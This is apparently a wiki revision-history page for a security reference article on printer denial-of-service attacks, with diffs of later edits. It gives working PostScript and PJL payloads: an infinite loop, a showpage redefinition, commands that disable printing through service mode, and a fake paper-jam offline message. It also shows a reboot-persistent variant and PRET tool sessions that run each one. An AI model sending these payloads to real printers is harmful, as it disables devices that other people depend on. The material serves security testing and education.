Document processing - Revision history

Admin at 16:43, 8 February 2017

2017-02-08T16:43:44Z

84.153.135.37: /* Infinite loops */

2017-01-31T08:09:36Z

‎Infinite loops

84.153.135.37 at 08:07, 31 January 2017

2017-01-31T08:07:57Z

Admin at 19:48, 23 January 2017

2017-01-23T19:48:51Z

Admin: /* Showpage redefinition */

2017-01-23T16:37:13Z

‎Showpage redefinition

Admin: Created page with "Page description languages allowing infinite loops or calculations that require a lot of computing time can be abused to keep the printer's [https://en.wikipedia.org/wiki/Rast..."

2017-01-22T10:43:31Z

Created page with "Page description languages allowing infinite loops or calculations that require a lot of computing time can be abused to keep the printer's [https://en.wikipedia.org/wiki/Rast..."

New page

Page description languages allowing infinite loops or calculations that require a lot of computing time can be abused to keep the printer's [https://en.wikipedia.org/wiki/Raster_image_processor RIP] busy. Examples of this are complex [https://en.wikipedia.org/wiki/HPGL HP-GL] calculations and [[PostScript]] programs. Even minimalist languages like [[PCL]], can be used to upload permanent marcos or fonts, until the available memory is consumed. [[PJL]] on HP devices has undocumented features to completely disable further printing functionality. In this article, various practical approaches of malicious print jobs which lead to denial of service are discussed.

== PostScript ==

=== Infinite loops ===

One trivial example of an infinite loop written in PostScript is given below:

<syntaxhighlight lang=postscript>
%!
{} loop
</syntaxhighlight>

This minimalist document keeps a PostScript interpreter busy forever. In an evalation with a pool of 20 test printers, only one had a watchdog mechanism and restarted itself after about 10 minutes. The other devices did not accept print jobs anymore until the test was ultimately interrupted after half an hour. The malicious print job could in most cases manually be canceled from the control panel while some devices required a manual restart. In contrast to blocking the [[transmission channel]], the connection can be closed immediately after the PostScript code has been sent.

'''How to test for this attack?'''

Use [[PRET]]'s ''hang'' command in ''ps'' mode:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

=== Showpage redefinition ===

Another approach is to permanently redefine PostScript operators. By setting ''showpage'' – which is used in every document to actually print the page – to do nothing at all, PostScript jobs are processed but not put to paper anymore. Example code is given below:

<syntaxhighlight lang=postscript>
true 0 startjob
/showpage {} def
</syntaxhighlight>

'''How to test for this attack?'''

Use [[PRET]]'s ''disable'' command in ''ps'' mode:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PJL ==

=== PJL jobmedia ===

Proprietary PJL commands <ref>''[http://www.icareasc.com/ICareKM/University/TrainingMaterial/The%20German%20Laserweb/general/software-downloads/paperpathtest%20without%20paper.htm The German Laserweb Vers. 4.0: Test without Paper]'', ATS/GCC Team Germany</ref> can be used to set the older HP devices like the LaserJet 4X series into service mode and completely disable all printing functionality as shown below:

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

'''How to test for this attack?'''

Use [[PRET]]'s ''disable'' command in ''pjl'' mode:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

=== Offline mode ===

In addition, the PJL standard defines the ''OPMSG'' command which ‘prompts the printer to display a specified message and go offline’ \cite{hp1997pjl}. This can be used to simulate a paper jam as shown in below:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

The command is supported by various printer models of different manufacturers. The device can however be easily brought to accept jobs again by manually pressing the ''online'' button on the control panel.

'''How to test for this attack?'''

Use [[PRET]]'s ''offline'' command in ''pjl'' mode:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

----

← Older revision		Revision as of 08:07, 31 January 2017
Line 1:		Line 1:
−	Page description languages allowing infinite loops or calculations that require a lot of computing time can be abused to keep the printer's [https://en.wikipedia.org/wiki/Raster_image_processor RIP] busy. Examples of this are complex [https://en.wikipedia.org/wiki/HPGL HP-GL] calculations and [[PostScript]] programs. Even minimalist languages like [[PCL]], can be used to upload permanent ~~marcos~~ or fonts, until the available memory is consumed. [[PJL]] on HP devices has undocumented features to completely disable further printing functionality. In this article, various practical approaches of malicious print jobs which lead to denial of service are discussed.	+	Page description languages allowing infinite loops or calculations that require a lot of computing time can be abused to keep the printer's [https://en.wikipedia.org/wiki/Raster_image_processor RIP] busy. Examples of this are complex [https://en.wikipedia.org/wiki/HPGL HP-GL] calculations and [[PostScript]] programs. Even minimalist languages like [[PCL]] can be used to upload permanent macros or fonts until the available memory is consumed. [[PJL]] on HP devices has undocumented features to completely disable further printing functionality. In this article, various practical approaches of malicious print jobs which lead to denial of service are discussed.

	== PostScript ==		== PostScript ==

@@ Line 12: / Line 12: @@
 </syntaxhighlight>
-This minimalist document keeps a PostScript interpreter busy forever. In an evaluation with a pool of 20 test printers, only one had a watchdog mechanism and restarted itself after about 10 minutes. The other devices did not accept print jobs anymore until the test was ultimately interrupted after half an hour. The malicious print job could in most cases manually be canceled from the control panel, while some devices required a manual restart. In contrast to blocking the [[transmission channel]], the connection can be closed immediately after the PostScript code has been sent.
+This minimalist document keeps a PostScript interpreter busy forever. In an evaluation with a pool of 20 test printers, only one had a watchdog mechanism and restarted itself after about 10 minutes. The other devices did not accept print jobs anymore until the test was ultimately interrupted after half an hour. The malicious print job could in most cases manually be canceled from the control panel, while some devices required a manual restart. In contrast to blocking the [[transmission channel]], the connection can be closed immediately after the PostScript code has been sent. Another variant of this attack is to write the code into ''Sys/Start'' or similar files which are executed at interpreter startup and even '''survive a reboot''' on devices with a [[File system access|writable disk]].
 '''How to test for this attack?'''
@@ Line 39: / Line 39: @@
 /showpage {} def
 </syntaxhighlight>
 '''How to test for this attack?'''

@@ Line 59: / Line 59: @@
 === PJL jobmedia ===
-Proprietary PJL commands <ref>''[http://www.icareasc.com/ICareKM/University/TrainingMaterial/The%20German%20Laserweb/general/software-downloads/paperpathtest%20without%20paper.htm The German Laserweb Vers. 4.0: Test without Paper]'', ATS/GCC Team Germany</ref> can be used to set the older HP devices like the LaserJet 4X series into service mode and completely disable all printing functionality as shown below:
+Proprietary PJL commands <ref>''[http://www.icareasc.com/ICareKM/University/TrainingMaterial/The%20German%20Laserweb/general/software-downloads/paperpathtest%20without%20paper.htm The German Laserweb Vers. 4.0: Test without Paper]'', ATS/GCC Team Germany</ref> can be used to set the older HP devices like the LaserJet 4k series into service mode and completely disable all printing functionality as shown below:
   @PJL SET SERVICEMODE=HPBOISEID

@@ Line 31: / Line 31: @@
 Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].
-=== Showpage redefinition ===
+=== Redefine showpage ===
-Another approach is to permanently redefine PostScript operators. By setting ''showpage'' – which is used in every document to actually print the page – to do nothing at all, PostScript jobs are processed but not put to paper anymore. Example code is given below:
+Another approach is to permanently redefine PostScript operators as described in [[PostScript#Security features|security features]]. By setting ''showpage'' – which is used in every document to actually print the page – to do nothing at all, PostScript jobs are processed but not put to paper anymore. Example code is given below:
 <syntaxhighlight lang=postscript>